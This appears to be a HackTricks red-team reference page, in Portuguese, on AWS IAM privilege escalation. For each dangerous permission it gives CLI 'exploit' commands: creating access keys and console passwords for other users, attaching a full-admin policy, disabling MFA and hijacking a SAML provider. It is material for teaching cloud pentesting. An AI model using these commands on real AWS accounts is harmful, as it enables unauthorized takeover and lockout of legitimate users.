AWS - IAM Privesc

Reading time: 8 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

IAM

Para mais informações sobre IAM, consulte:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Concede a capacidade de criar uma nova versão de política IAM, contornando a necessidade de permissão iam:SetDefaultPolicyVersion usando a flag --set-as-default. Isso permite definir permissões personalizadas.

Comando de Exploração:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impacto: Escalona diretamente privilégios ao permitir qualquer ação em qualquer recurso.

iam:SetDefaultPolicyVersion

Permite alterar a versão padrão de uma política IAM para outra versão existente, potencialmente escalonando privilégios se a nova versão tiver mais permissões.

Comando Bash:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impacto: Escalada de privilégios indireta ao habilitar mais permissões.

iam:CreateAccessKey

Permite criar um ID de chave de acesso e uma chave de acesso secreta para outro usuário, levando a uma potencial escalada de privilégios.

Exploit:

bash
aws iam create-access-key --user-name <target_user>

Impacto: Escalada de privilégios direta ao assumir as permissões estendidas de outro usuário.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permite criar ou atualizar um perfil de login, incluindo a definição de senhas para login no console AWS, levando a uma escalada de privilégios direta.

Exploit para Criação:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit para Atualização:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impacto: Escalação de privilégio direta ao fazer login como "qualquer" usuário.

iam:UpdateAccessKey

Permite habilitar uma chave de acesso desativada, potencialmente levando a acesso não autorizado se o atacante possuir a chave desativada.

Exploit:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impacto: Escalação de privilégio direta ao reativar chaves de acesso.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permite gerar ou redefinir credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.

Exploit para Criação:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit para Redefinir:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impacto: Escalonamento direto de privilégios dentro das permissões de serviço do usuário.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permite anexar políticas a usuários ou grupos, escalando diretamente os privilégios ao herdar as permissões da política anexada.

Exploit para Usuário:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit para Grupo:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impacto: Escalação de privilégio direta para qualquer coisa que a política concede.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permite anexar ou colocar políticas em funções, usuários ou grupos, possibilitando a escalada de privilégio direta ao conceder permissões adicionais.

Exploit para Função:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit para Políticas Inline:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Você pode usar uma política como:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impacto: Escalação de privilégios direta ao adicionar permissões através de políticas.

iam:AddUserToGroup

Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.

Exploit:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impacto: Escalação de privilégios direta para o nível das permissões do grupo.

iam:UpdateAssumeRolePolicy

Permite alterar o documento da política de assumir função de uma função, possibilitando a assunção da função e suas permissões associadas.

Exploit:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Onde a política se parece com a seguinte, que concede ao usuário permissão para assumir a função:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impacto: Escalação de privilégio direta ao assumir as permissões de qualquer função.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada de privilégio indireta.

Exploit para Upload de Chave SSH:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit para Desativação de MFA:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impacto: Escalação de privilégio indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.

iam:ResyncMFADevice

Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalada de privilégio indireta ao manipular a proteção MFA.

Comando Bash:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impacto: Escalação de privilégio indireta ao adicionar ou manipular dispositivos MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Com essas permissões, você pode alterar os metadados XML da conexão SAML. Então, você poderia abusar da federação SAML para fazer login com qualquer papel que esteja confiando nele.

Observe que, ao fazer isso, usuários legítimos não poderão fazer login. No entanto, você poderia obter o XML, para que possa colocar o seu, fazer login e configurar o anterior de volta.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: Uma ferramenta capaz de gerar os metadados SAML e fazer login com um papel especificado

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Incerto sobre isso) Se um atacante tiver essas permissões, ele poderia adicionar uma nova Thumbprint para conseguir fazer login em todos os papéis que confiam no provedor.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks